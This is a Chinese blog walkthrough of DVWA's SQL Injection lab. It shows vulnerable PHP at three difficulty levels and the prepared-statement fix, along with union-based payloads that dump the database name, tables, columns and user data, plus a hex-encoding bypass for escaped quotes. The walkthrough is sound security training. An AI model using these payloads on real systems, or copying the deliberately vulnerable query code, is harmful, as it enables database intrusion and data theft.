DVWA之SQL Injection

参考链接:http://www.freebuf.com/articles/web/120747.html

1
这里首先你最好懂一些mysql查询语句,便于理解

SQL Injection

SQL Injection(SQL注入)是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

SQL注入步骤

  • 判断是否存在注入,注入是字符型还是数字型
  • 判断SQL查询语句中的字段数
  • 爆出当前数据库
  • 爆出数据库中的表
  • 爆出表中的字段名
  • 爆出该表的字段名的内容

    DVWA测试实战

    LOW级别

    服务端核心代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php 

    if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i = 0;
    while( $i < $num ) {
    // Get values
    $first = mysql_result( $result, $i, "first_name" );
    $last = mysql_result( $result, $i, "last_name" );

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

    // Increase loop count
    $i++;
    }

    mysql_close();
    }

    ?>
1
LOW级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。(现实中攻击者是看不到后端代码的,这里放出是为了参考学习).

这里先说明什么是字符型和数字型,百度一个详解(可能一开始不理解,做做下面题就会理解了):

1
2
3
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’

判断是否存在注入,注入是字符型还是数字型

  • 输入1,查询成功:

    image

  • 输出1’,发现语法报错

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

这是因为,LOW有一行代码为:

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';

输入’是为了闭合前面的单引号,但是后面还有一个单引号没闭合,相当于 user_id = ‘1’’

可以在后面再加一个#来注释掉后面的单引号

最后这两步说明了存在字符型注入

判断SQL查询语句中的字段数

这里有两种方法,根据具体情况而定.

另外一种方法与上面区别是更容易分清

  • 输入: 0’ union select 1,2#
    image
  • 注意,这里的union相当于数学中的并(且),即联合查询,相当于
1
select xxx from xxx where id = '0' union select 1,2#

这里的0是为了让前面的select语句查询不到,从而保证只查到后面的select,便于分清.

  • 输入: 0’ union select 1,2,3#
    image

    也同样说明只存在两个字段

爆出当前数据库

1
0' union select 1,database()#

image
说明当前数据库为dvwa

爆出数据库中的表

1
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#)

image

  • group_concat() 简单来说就是把查询到的table_name都收集起来,具体解释可以百度
  • information_schema.tables是mysql数据库一个特殊的东西,代表这个数据库中的所有表
  • table_schema 中文翻译是表模式,相当于数据库

爆出表中的字段名

1
0' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'#

image
语法跟上面差不多,改了column字段

爆出该表的字段名的内容

1
0' union select 1,last_name from users #

image
爆出字段last_name字段的内容

Medium级别

服务端核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

//mysql_close();
}

?>

可以看到相比low多了一行代码:

1
mysql_real_escape_string($id);

image

所以说这儿的单引号没法用了被转义了,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

image

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数

判断是否存在注入,注入是字符型还是数字型

  • 抓包更改参数:
    1
    id=1' or 1 =1#

image

发现报错

1
id=1 or 1 =1#

正常,说明存在数字型注入

判断SQL查询语句中的字段数

1
0 union select 1,2#

确定字段有两个

爆出当前数据库

1
0 union select 1,database()#

爆出数据库中的表

1
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

爆出表中的字段名(这里有个不一样)

1
0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

image

发生报错,这是因为单引号被转义成\,这里有一个绕过办法,就是十六进制绕过,将user转成十六进制即可.

1
0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0×7573657273 #

image

成功查询

爆出该表的字段名的内容

1
0 union select 1,user_id from users#

成功爆出users表下的user_id内容

image

High级别

服务端核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

mysql_close();
}

可以看到他这里增加了limit语句,limit 1表示只能查询到一条内容,具体sql limit原理:https://blog.csdn.net/sinat_36246371/article/details/54582904

不过我们仍然可以用 # 将后面的limt 1注释掉,剩下的步骤与low级别是一样的,它这个limit主要是为了防备sqlmap,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible

服务端核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();

?>
文章目录
  1. 1. SQL Injection
  2. 2. SQL注入步骤
  3. 3. DVWA测试实战
  4. 4. LOW级别
    1. 4.1. 判断是否存在注入,注入是字符型还是数字型
    2. 4.2. 判断SQL查询语句中的字段数
    3. 4.3. 爆出当前数据库
    4. 4.4. 爆出数据库中的表
    5. 4.5. 爆出表中的字段名
    6. 4.6. 爆出该表的字段名的内容
  5. 5. Medium级别
    1. 5.1. 判断是否存在注入,注入是字符型还是数字型
    2. 5.2. 判断SQL查询语句中的字段数
    3. 5.3. 爆出当前数据库
    4. 5.4. 爆出数据库中的表
    5. 5.5. 爆出表中的字段名(这里有个不一样)
    6. 5.6. 爆出该表的字段名的内容
  6. 6. High级别
  7. 7. Impossible
,